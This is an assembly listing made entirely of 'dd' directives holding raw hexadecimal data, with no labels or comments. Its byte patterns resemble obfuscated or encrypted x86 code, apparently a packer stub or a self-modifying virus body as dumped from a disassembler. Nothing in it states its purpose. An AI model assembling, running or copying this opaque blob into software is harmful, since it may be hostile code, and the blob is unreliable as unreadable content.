		dd 89539C12h, 1D2B8D8Dh, 0E8535E06h, 0Ah, 0D5CBDF45h, 0A55154CDh
		dd 8D297899h, 61D1935h,	71E45E5Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 94C35141h, 1EB1D83Ah, 3CA537E6h
		dd 5D830F61h, 6A000002h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 66CAC356h, 0A4F5C781h
		dd 2E518529h, 9589061Dh, 61D144Dh, 0E9D8B60Fh, 7, 47D48170h
		dd 0BA8172ADh, 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	21C35242h, 7656E725h, 6E78183h,	8B11D7E1h, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B8E0AA0h, 1D0BC9B5h, 4E8C106h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0ABC35646h,	48DDC30Ch, 0D611EE35h
		dd 1D418589h, 0F766061Dh, 0C5B589E2h, 2B061D17h, 0CB8160D8h
		dd 7EB4DB98h, 25B98589h, 5861061Dh, 0FD82BFCh, 17F88h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0F7C98899h, 0FAC23544h, 1A1DBD8Bh, 7B9061Dh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0B08EC356h, 41ACABA4h,	8B6098D7h
		dd 1D0985B5h, 23DFBF06h, 83614674h, 0F08B00C1h,	860FD93Bh
		dd 114h, 8C66FE8Bh, 9DB58BD9h, 0F6061D2Bh, 840F04C1h, 0E1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 33C35747h
		dd 1E8942Dh, 315195FFh,	6A061Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 5169B1C3h, 0D2AA53E0h
		dd 0B5235BA3h, 61D1501h, 6AC32Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0A2D974C3h, 13E82A43h
		dd 0A8000000h, 0EFAB463h, 0C5163D37h, 0E257A954h, 7C2C5908h
		dd 0B533C766h, 61D26B9h, 8343D5Fh, 860F0000h, 45h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C4C35545h, 0DB40177Fh
		dd 0E84F748Eh, 859D29F2h, 0E9061D2Ah, 0Eh, 35354969h, 0E326C949h
		dd 9AA01AC8h, 21E931C7h, 8B000000h, 6AC08BF0h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 171FC356h, 0D88BC38Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0BBC35141h, 15966F67h, 8B0BD330h, 1D27A5B5h
		dd 0FE906h, 22640000h, 531115D1h, 13EADD45h, 0D520BDFFh
		dd 9D85C754h, 9B061D33h, 6A7E8127h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0F3C8C352h
		dd 5D1B24Ch, 258D291Bh,	66061D07h
		dd 0C08BF88Bh, 68B0Fh, 9D890000h, 61D0F4Dh, 8E9BD81h, 7D0061Dh
		dd 850F0000h, 45h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0ACC35242h, 411E529Dh, 80DE81D1h, 0FF1759DBh
		dd 1D08E985h, 12800F06h, 0E8000000h, 0Ch, 0F3C49353h, 5C951388h
		dd 78CE5AAh, 0E9B5FF5Eh, 0BE061D08h, 7D98FB94h,	120995FFh
		dd 14E9061Dh, 38000000h, 34AA450Eh, 2001E6D0h, 0EF1DDA29h
		dd 0B4B3B77Dh, 90CB6A0Ah, 307DB58Bh, 0BF0F061Dh, 31BD31F9h
		dd 89061D08h, 1D1BC9B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 880D33F4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 38C35646h, 18589B8h
		dd 8B061D0Fh, 50006AF7h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BD8BC9A5h, 61D0929h, 50006AF5h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0F024283Bh, 5B5C7405h, 0BD09A265h, 61D1AC1h,	18699589h
		dd 9589061Dh, 61D1901h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 34C35545h, 5015C13Bh,	0EE9h, 667B1B00h
		dd 0B74EA44h, 0EC2F2C52h, 0E89410ACh, 0Dh, 0BC924DFh, 35E21251h
		dd 59195690h, 0F38B6623h, 6A5E5Fh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 101395C3h, 8B5EFC52h
		dd 0E1B589F0h, 0E9061D2Bh, 0FFFFF686h, 25BD8Bh,	0BD8B061Dh
		dd 61D204Dh, 8BF6B70Fh,	52006AC1h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0FCCBBF19h, 4EBh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0C94AE5C3h, 0F5027A1h, 68Eh,	0D9B58B00h, 5E061D2Ah
		dd 421858Dh, 14E9061Dh,	46000000h, 0A0A40774h, 4BB56504h
		dd 0EBFBF09Ah, 8AA81F72h, 50932555h, 91224BBEh,	50505E29h
		dd 2404895Fh, 0B5BE006Ah, 6A087E3Ah, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0AD636F7Ah
		dd 4D044876h, 6880F5Ch,	3000000h, 1D3381B5h, 8DF08B06h
		dd 2101E585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 323C1174h, 5C083B3h, 0CB9BE90h, 905038A5h
		dd 3D8D89h, 6A061Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 5BC35545h, 56DFFA47h,	5274739Eh, 9589006Ah
		dd 61D1D6Dh, 2A3995FFh,	9529061Dh, 61D17BDh, 95359D8Dh
		dd 60500620h, 709958Bh,	5E61061Dh, 9CBFD3FFh, 0FF1FF028h
		dd 1D1BC185h, 6840F06h,	8B000000h, 1D0C39BDh, 865E906h
		dd 0E80000h, 5D000000h,	1EFED81h, 6A0621h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 25D44C3h
		dd 0EE9DDh, 0AB8C0000h,	474EA5F4h, 5C65B577h, 0E64552DAh
		dd 2CD19589h, 0BD81061Dh, 61D08E9h, 7D0h, 1B4860Fh, 0E6810000h
		dd 0B18F8E1h, 0F6816660h, 10E84053h, 9C000000h,	0D46CA93Bh
		dd 65FCC0C0h, 5766CC3Dh, 56A71A99h, 8B615A59h, 1D03799Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 4259C6FDh, 8B082FE8h, 1D2EE1BDh,	0E38106h
		dd 0F9000001h, 850FDB0Bh, 0BFh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 75C35747h, 0D18EEE28h, 1F38BC9h
		dd 1D00BD8Dh, 0B2BD8306h, 62100h, 51840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 850F19C3h, 2, 92E95F51h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0ED8EC353h
		dd 0ABD7DA8Bh, 0E5B58B11h, 0C7061D18h, 2100B285h, 106h
		dd 0A19D8900h, 8B061D26h, 1D151DB5h, 4FE906h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0C705BAC3h, 2100B285h, 6, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 9C7326D9h
		dd 8929B533h, 1D04419Dh, 799D8D06h, 6A061D03h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0FBFFC351h, 8F0Fh, 23810000h, 0FFFFFEFFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0D8C35141h, 37EC486Eh
		dd 667CE7DBh, 902EF81h,	4840Fh,	0BE660000h, 8C667829h
		dd 50006ADBh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 51600803h, 5E9h,	192A0100h, 665AC485h, 613E76BFh
		dd 0F04C3F6h, 4184h, 95B58B00h,	0FF061D13h, 1D315195h
		dd 6CBF5106h, 5E544878h, 0F18B6650h, 6A240489h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0B7F7C350h, 6C6FFD4Dh, 0EF816622h, 0B0E97580h, 66000003h
		dd 0B0F28Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	6FC35040h, 8B70E624h, 1D269DB5h, 8971E406h, 1D11BDBDh
		dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0E0C35545h, 0AA19B938h,	0CCF0F590h, 6BAh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8E93A89h, 4F000000h,	4D97CBB1h, 0F895915Dh, 820FC38Bh
		dd 0
		dd 6604E8C1h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 5CF524C3h, 50D82B0Ah, 10E9h, 7C077C00h
		dd 46046BB3h, 90C39103h, 33057974h, 241C89CCh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0AEC35040h, 9E9F903h
		dd 3D000000h, 6D0AC9C5h, 2C5AB7DEh, 8E9B5FFh, 6E9061Dh
		dd 39000000h, 29018187h, 53D781A9h, 0FF277CBEh,	1D120995h
		dd 0AD8D0906h, 0B0061D27h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 33B0E36h, 4AF78166h
		dd 3170E654h, 1D1D0995h, 0F71E406h, 68Eh, 818D8900h, 3C061D06h
		dd 4C830F61h, 6A000002h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0F14AC352h,	0BEF7F3C1h
		dd 816644EEh, 0F3DB3F7h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 335805C3h, 1441B589h
		dd 6BA061Dh, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0EDDBC352h,	0E301FB96h
		dd 9589C38Bh, 61D260Dh,	6A04E8C1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 2A27C353h
		dd 0BE9h, 0A50C3500h, 967F3D16h, 0F1E93F65h, 0BE8h, 9C1E700h
		dd 0C44795E4h, 901C2337h, 5EF78B66h, 0BFE2F766h, 76EC7511h
		dd 0B509D82Bh, 61D0431h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0C45185D4h, 0E1152109h
		dd 9715E1BFh, 0FD82B0Ah, 14A88h, 6860F00h, 89000000h, 1D1379B5h
		dd 7B906h, 8E0F0000h, 2, 0C183FB8Bh, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 47837D63h
		dd 0D93B4812h, 105860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0B74BD0C3h, 63CCA841h
		dd 0D98C66B8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0C3C35747h, 892AC01Eh, 1D207195h, 0ABBF6606h, 6DE0BEDBh
		dd 0C1F62F0Dh, 0A1840F04h, 66000000h, 0FFF381BFh, 1D315195h
		dd 0F9BD8B06h, 5B061D09h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0FCC35747h, 0CD776FCEh, 0F2C82B6Eh, 6D28BE5Dh
		dd 0C32B72B3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	64C35343h, 2402877h, 4E564F22h,	0F68166F2h, 343D8257h
		dd 0F000008h, 2F86h, 31E900h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0D86438C3h
		dd 0FAB022Bh, 0B589F8BFh, 61D1451h, 8166C08Bh, 8B74A1DFh
		dd 6AD88BC3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0AFB0C356h, 0EB7B4E51h, 2E585C7h
		dd 0D53F061Dh, 0B5893680h, 61D15D9h, 0BD81C08Bh, 61D08E9h
		dd 7D0h, 2F850Fh, 0BD090000h, 61D16E9h,	8E985FFh, 6A061Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8B6F8DC3h, 1D0F41BDh, 0E9B5FF06h, 6A061D08h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0A37FC352h, 0D147189Ah, 0FFFA8B40h, 1D120995h, 53E78106h
		dd 901DD4E1h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	6AC35343h, 0BD2397ADh, 61D0169h, 465B533h, 0BE66061Dh
		dd 0B58B3140h, 61D297Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 98C35343h, 7637A179h,	2E59BD0Bh, 0B58B061Dh
		dd 61D1D79h, 11E8F28Bh,	30000000h, 5E02E430h, 0A6E843A8h
		dd 350BCDC2h, 3AB4234Fh, 10E59D89h, 6A5E061Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0FD9C353h, 482BEE6Fh, 77B6ADA3h, 53006AF8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 31BD8BFAh
		dd 6A061D12h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 4C41C357h, 1B06C538h, 9E67B48Eh
		dd 80D9D89h, 0B58B061Dh, 61D316Dh, 6AF6BF0Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0BFA2C353h, 33C453DAh, 3651675Dh, 6840Fh, 9D890000h
		dd 61D1C69h, 270DBD89h,	0E3E9061Dh, 6AFFFFF7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0AB6DC357h, 92720457h, 953182F4h, 61D026Dh, 1DDB52Bh
		dd 0B533061Dh, 61D14E1h, 0EE9h,	2332CC00h, 0CA21C4A9h
		dd 0AA9C3CBBh, 8B7764A5h, 5E8C1h, 0BD8F0000h, 5F54FDB0h
		dd 4EBh, 8B510000h, 1D077DBDh, 6A5E06h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 667E84C3h
		dd 21858DA1h, 8B061D04h, 1D2FC9BDh, 0FE8B9006h,	90FB8B50h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 24C35040h
		dd 0BC90BBAEh, 0FC38EF81h, 6A4F08h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 58C35040h, 8883B083h, 6AFB8B03h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0B94679Ah, 1D1825B5h, 0C9B58906h, 53061D09h
		dd 5FFFBF0Fh, 0C35858Dh, 6A0621h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0E09465C3h, 83F922BCh
		dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 8D73EDC3h, 9FE2CC79h, 15958B60h, 8B061D2Fh
		dd 1D1C5985h, 66506106h, 89A535BFh, 8B662404h, 53006AF2h
		dd 6A5EF5h, 2A3995FFh, 6A061Dh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 5F40FBC3h, 0D5F2308Eh
		dd 89BDF1EEh, 1D08D18Dh, 0A1B58B06h, 8D061D16h,	2095359Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 21BF0FA9h, 292B0173h, 1D1C8585h,	33D3FF06h
		dd 1D1949B5h, 0EDB52B06h, 0FF061D17h, 1D1BC185h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0C19BB1FFh, 8589F7F5h, 61D319Dh, 0BD095260h,	61D168Dh
		dd 1820F5Bh, 0FC000000h, 7B2E961h, 0E80000h, 5D000000h
		dd 0C3FED81h, 6A0621h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 72CDD3C3h, 0D78166F9h, 0BD8152B7h
		dd 61D08E9h, 7D0h, 148860Fh, 0B70F0000h, 0F99D8BF0h, 6A061D2Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 3A8CC356h, 0ACFBD360h, 815F5071h,	100E3h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 5FD6F179h, 0DD025D44h, 0FDB0BB1h, 6A85h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 41D1365Ch, 6814A782h, 8D89C3CEh,	61D20A9h
		dd 0A5EBD83h, 0F000621h, 1784h,	7DB58B00h, 8B061D32h, 1D2CF1BDh
		dd 31E906h, 0BD8B0000h,	61D21E5h, 0A5E85C7h, 10621h, 85890000h
		dd 61D1325h, 16E9h, 59B58900h, 0C7061D03h, 210A5E85h, 6
		dd 159D2900h, 8D061D07h, 1D2EF99Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 3F062128h
		dd 178F5A80h, 0BDB58B50h, 81061D10h, 0FFFEFF23h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 10E900h, 0FFE40000h,	7F3B5A04h, 7B6ADA04h, 0F015D6F7h
		dd 8B5114ACh, 1D0349B5h, 8C665E06h, 0F78B66DBh,	0F04C3F6h
		dd 7284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0E622A387h, 0E2B8F103h, 95FFC593h
		dd 61D3151h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	8FC35343h, 8BFD90E2h, 1D31BDB5h, 0F515006h, 108Eh
		dd 0AE800h, 0CFB60000h,	0A94B748h, 2317184Ah, 4895F5Eh
		dd 0FDBD2924h, 0E9061D29h, 3CCh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 14h, 97C35646h, 0CE800B0h, 0FD000000h
		dd 93F90B11h, 91C19F0Ah, 5F039711h, 8EBF70E6h, 0E458E22Ch
		dd 0E1BD3171h, 0F061D16h, 0BD03D8B6h, 61D2C5Dh,	6BAh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0C38B608Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0F9C35141h, 0E8C1C744h,	50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 53603860h
		dd 16F1B58Bh, 8959061Dh, 1D1CD985h, 0F7666106h,	51006AE2h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 2BFB8BEDh, 0F1B529D8h, 93061D17h, 188A0F50h,	60000000h
		dd 0FE9h, 0C5097000h, 2056195Dh, 0A0C361B4h, 89CFFDEDh
		dd 93616160h, 5880Fh, 81660000h, 0FFB28FF7h, 1D08E9B5h
		dd 95FFF506h, 61D1209h,	7BC68166h, 6600B043h, 70E6F18Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A3C35141h
		dd 352C4032h, 9F6BE3Ah,	71E401F6h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 55C35343h, 0F4E6DD69h, 0F28BE8B6h
		dd 15E59D89h, 613C061Dh, 24A830Fh, 0B60F0000h, 51006AD8h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 289EFDE2h, 0FCACEB1h, 58Ah, 12DBBE00h, 0BD2B20B9h, 61D1639h
		dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 728D42DCh, 9469FAA1h, 8BF86A34h
		dd 57006AC3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0DCD3B304h, 0C1F08BBAh, 6A04E8h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0B8E070C3h, 0E2F7666Bh, 32099589h, 0D82B061Dh, 31699589h
		dd 8958061Dh, 1D1C49B5h, 0FD82B06h, 18388h, 0B9BD0300h
		dd 0B9061D09h, 7, 0C183FE8Bh, 0D9BD8B00h, 3B061D02h, 65860FD9h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0EF3CC355h, 60E9C702h,	189D8D01h
		dd 0B70F061Dh, 8C6661CEh, 51006AD9h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 4C1F69Dh, 0EE840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0C2734CC3h, 469A69D8h, 0BD23F5C9h, 61D0699h
		dd 315195FFh, 6A061Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 66D3DEC3h, 665BFA8Bh, 0C32BFE8Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 3AC35747h
		dd 0E5F8C9B3h, 80BF66D2h, 45D7817Ch, 3D254B40h,	834h, 62860Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 898F82C3h, 1D072D9Dh, 5EE906h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0A761F0C3h, 0BD0BD40Dh, 61D2B29h, 0FE9h, 5DD46700h
		dd 18A8CD2h, 0CD984E1Ch, 1AA3FF59h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0E090CFC3h
		dd 4CFABF66h, 0D88BC38Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 6DC35040h, 0E04732Eh,	85C7FB8Bh, 61D0379h
		dd 7E0C4351h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ah,	79C35343h, 0A8C983FFh, 0C08B2D04h, 145DBD8Bh, 0BD81061Dh
		dd 61D08E9h, 7D0h, 14850Fh, 0F6810000h,	245B5327h, 8E985FFh
		dd 8E0F061Dh, 2, 0B5FFF98Bh, 61D08E9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 2BC35343h, 0F6CEA4Ch, 120995FFh
		dd 0F28B061Dh, 9B58B90h, 51061D29h, 78F0Fh, 0B58B0000h
		dd 61D20F5h, 7FBE66FCh,	6A5F30h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 946DF8C3h, 2A1229A8h
		dd 66DD428Ch, 60187FBEh, 58E0Fh, 61600000h, 0E994C080h
		dd 12h,	9A87AC51h, 935FFB74h, 204F1C50h, 0E24A9477h, 0BE564C7Dh
		dd 23DC98DBh, 3259589h,	8B59061Dh, 1D2E49BDh, 6A6106h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BD0312C3h, 61D04BDh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0FDC35545h, 0DB52991h, 8B061D1Ch, 1D22E1B5h
		dd 0C870F06h, 23000000h, 1D123DBDh, 4DB58B06h, 6A061D32h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 8528C356h, 897C38ADh, 1D18E585h, 598D8906h
		dd 0E9061D29h, 0FFFFF872h, 6E8h, 0EA1BA200h, 6631B021h
		dd 0EF81FA8Bh, 42A3CC2Eh, 0AE95Eh, 6F60000h, 9622F376h
		dd 0BA55D1E2h, 0F2BF0F60h, 0FFFFFEB9h, 50006AFFh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 318D210Eh, 8B061D05h, 0C28B66FEh, 19558D21h,	6A061Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 5A1909C3h, 0A76B043Eh, 5318D8Bh, 0B523061Dh,	61D1201h
		dd 0F01E183h, 5B85h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0E5818377h, 0AF7AA451h
		dd 236008FBh, 1D20F5BDh, 0BE806h, 75700000h, 8925CB0Fh
		dd 2CEA8CB2h, 12E9A7h, 0D13F0000h, 47FB3CA8h, 84391C5Ah
		dd 0BB26119Eh, 7A4EEEE8h, 0EE81615Eh, 15FC1524h, 19558D8Bh
		dd 9D89061Dh, 61D12D1h,	0F01E183h, 385h, 0F0BF0F00h, 9E96061h
		dd 0AC000000h, 2D50EA48h, 95145223h, 0FFFFFEB9h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E8CFB416h, 13h
		dd 0D60DE9D3h, 1F79FE43h, 26F0AF29h, 63FF1914h,	8B0FD5FDh
		dd 1D07259Dh, 8D215F06h, 61D2B89h, 320132B8h, 9D8D215Ch
		dd 66061D33h, 8D8BD88Bh, 61D2B89h, 0ABE28166h, 1E18320h
		dd 5850Fh, 99BA0000h, 8B258499h, 1D339D8Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8F0F43DEh, 12h, 0DE9h, 0C2CDA300h, 5FEF8F22h, 8C8EC367h
		dd 0B50BC5E6h, 61D1271h, 0F01E183h, 2D85h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 9DDE13DBh, 41EDDCDCh, 5E9h, 4A950900h, 60615799h, 25419D03h
		dd 0FEB9061Dh, 6AFFFFFFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 9A78C355h, 0F98D21EFh
		dd 8A061D2Eh, 0E58D21C1h, 0FC061D02h, 2EF98D8Bh, 820F061Dh
		dd 6, 2C79958Bh, 0E183061Dh, 25850F01h,	6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 159BC356h, 0C78168A3h, 28EA1D2Ah, 2E58D8Bh, 9589061Dh
		dd 61D2529h, 0F01E183h,	2685h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0C7B63D17h
		dd 0A995019Dh, 61061D32h, 55006A60h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 2BA051A9h
		dd 0FFFEB96Ah, 6050FFFFh, 2B998589h, 9D29061Dh,	61D2149h
		dd 8D215E61h, 61D0379h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 24C35747h, 5CD88166h,	318D2180h, 6A061D33h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 2762C357h, 8A0F2F87h, 5, 6F2E05B8h, 599D8B7Eh
		dd 8B061D1Dh, 1D03798Dh, 12E806h, 0EC560000h, 0EBA836A5h
		dd 0E72B1B69h, 53BCFF0Ch, 0B82E1046h, 895EF78Bh, 1D00AD8Dh
		dd 1E18306h, 1C850Fh, 10E80000h, 14000000h, 0F77DAFCCh
		dd 8CE43A18h, 70318574h, 29CB0E86h, 1D33019Dh, 8D8B5A06h
		dd 61D3331h, 0F3321DB8h, 1E1831Ch, 10850Fh, 60530000h
		dd 0F0DEC081h, 8D891E95h, 61D2B85h, 60615A61h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D8C35343h, 5C1DC9BEh
		dd 0DE892h, 6E350000h, 611CE263h, 9D6A31Bh, 5F7AF033h
		dd 8E985C7h, 7D0061Dh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 524232C3h, 7E8h, 10B81F00h
		dd 7CC1F0A0h, 5F59E78Ah, 0BE9h,	5587CD00h, 78194710h, 0BB3D3AE3h
